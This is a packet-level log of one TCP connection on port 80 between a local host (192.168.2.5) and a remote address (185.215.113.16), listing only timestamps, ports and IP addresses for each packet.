Oct 24, 2024 19:29:30.281228065 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.281274080 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.281306028 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.281333923 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.281357050 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.281373024 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.281399965 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.281414032 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.281429052 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.281431913 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.281445026 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.281459093 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.281465054 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.281475067 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.281490088 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.281511068 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.281536102 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.281666040 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.281682968 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.281698942 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.281719923 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.281750917 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.281766891 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.281790972 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.281935930 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.281974077 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.281987906 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.281989098 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.282027960 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.282092094 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.282107115 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.282123089 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.282138109 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.282152891 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.282160044 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.282182932 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.317198038 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.323962927 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.323980093 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.323995113 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.324037075 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.324069023 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.325464964 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.329874992 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.330064058 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.330125093 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.330291986 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.330581903 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.330626965 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.356435061 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.356535912 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.356549978 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.356586933 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.356945038 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.356959105 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.356990099 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.356998920 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.357006073 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.357024908 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.357029915 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.357040882 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.357055902 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.357084990 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.357110023 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.357125044 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.357151031 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.357176065 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.357191086 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.357206106 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.357220888 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.357223034 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.357239962 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.357244015 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.357254028 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.357261896 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.357292891 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.357311964 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.357327938 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.357342005 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.357367039 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.357378960 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.357384920 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.357403994 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.357422113 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.357438087 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.357451916 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.357469082 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.357477903 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.357485056 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.357491970 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.357525110 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.357547998 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.357563019 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.357578039 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.357593060 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.357609987 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.357614994 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.357635975 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.357641935 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.357657909 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.357671976 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.357697010 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.357723951 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.358689070 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.358705044 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.358741045 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.358757019 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.358758926 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.358773947 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.358789921 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.358807087 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.358814001 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.358824968 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.358839989 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.358870029 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.358882904 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.358897924 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.358922958 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.358938932 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.358947039 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.358962059 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.358977079 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.358989954 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.358993053 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.359009027 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.359013081 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.359045982 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.359134912 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.359150887 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.359165907 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.359180927 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.359189034 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.359196901 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.359258890 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.359271049 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.359298944 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.359330893 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.359338045 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.359348059 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.359364986 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.359380007 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.359395981 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.359405994 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.359424114 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.359453917 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.359503031 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.359518051 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.359524012 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.359533072 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.359548092 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.359563112 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.359571934 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.359577894 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.359587908 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.359602928 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.359620094 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.359631062 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.359656096 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.359658003 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.359658003 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.359672070 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.359687090 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.359715939 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.359733105 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.359735966 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.359760046 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.359788895 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.359802008 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.359803915 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.359822989 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.359836102 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.359848976 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.359966040 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.373548985 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.393949986 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.393965960 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.393980026 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.394016981 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.394057035 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.394073009 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.394103050 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.394104004 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.394128084 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.394143105 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.394157887 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.394160032 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.394182920 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.394190073 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.394197941 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.394215107 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.394232988 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.394246101 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.394254923 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.394262075 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.394278049 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.394315004 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.394335032 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.394349098 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.394365072 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.394380093 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.394388914 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.394409895 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.394413948 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.394429922 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.394444942 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.394447088 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.394522905 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.394536018 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.394550085 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.394565105 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.394565105 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.394581079 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.394591093 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.394603014 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.394656897 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.394671917 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.394695044 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.394754887 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.394771099 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.394803047 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.394808054 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.394820929 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.394835949 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.394841909 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.394853115 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.394867897 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.394876957 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.394903898 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.394963026 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.394989014 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.395010948 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.395025969 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.395041943 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.395050049 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.395057917 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.395071983 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.395073891 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.395095110 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.395102024 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.395112038 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.395143032 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.395262957 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.395278931 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.395297050 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.395319939 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.395332098 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.395337105 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.395344019 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.395385027 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.395400047 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.395431995 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.395448923 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.395466089 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.395471096 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.395510912 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.395570040 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.395586014 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.395602942 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.395618916 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.395627022 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.395663023 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.396009922 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.396025896 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.396042109 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.396058083 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.396065950 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.396086931 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.396264076 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.396343946 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.396367073 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.396405935 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.396665096 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.396689892 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.396727085 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.396737099 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.396756887 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.396769047 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.396773100 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.396789074 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.396805048 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.396819115 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.396826029 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.396836042 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.396853924 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.396871090 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.396872997 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.396888018 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.396903038 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.396919012 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.396925926 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.396935940 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.396960020 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.396974087 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.396975040 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.397000074 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.397003889 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.397028923 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.397039890 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.397042036 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.397082090 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.397121906 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.397136927 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.397151947 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.397166014 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.397178888 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.397182941 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.397200108 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.397203922 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.397216082 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.397250891 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.397265911 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.397279978 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.397295952 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.397310972 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.397319078 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.397325993 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.397341013 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.397341967 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.397367001 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.397368908 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.397384882 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.397401094 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.397409916 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.397417068 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.397443056 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.397509098 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.397521973 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.397547007 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.397805929 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.397819996 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.397846937 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.397943974 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.397959948 CEST	80	49725	185.215.113.16	192.168.2.5
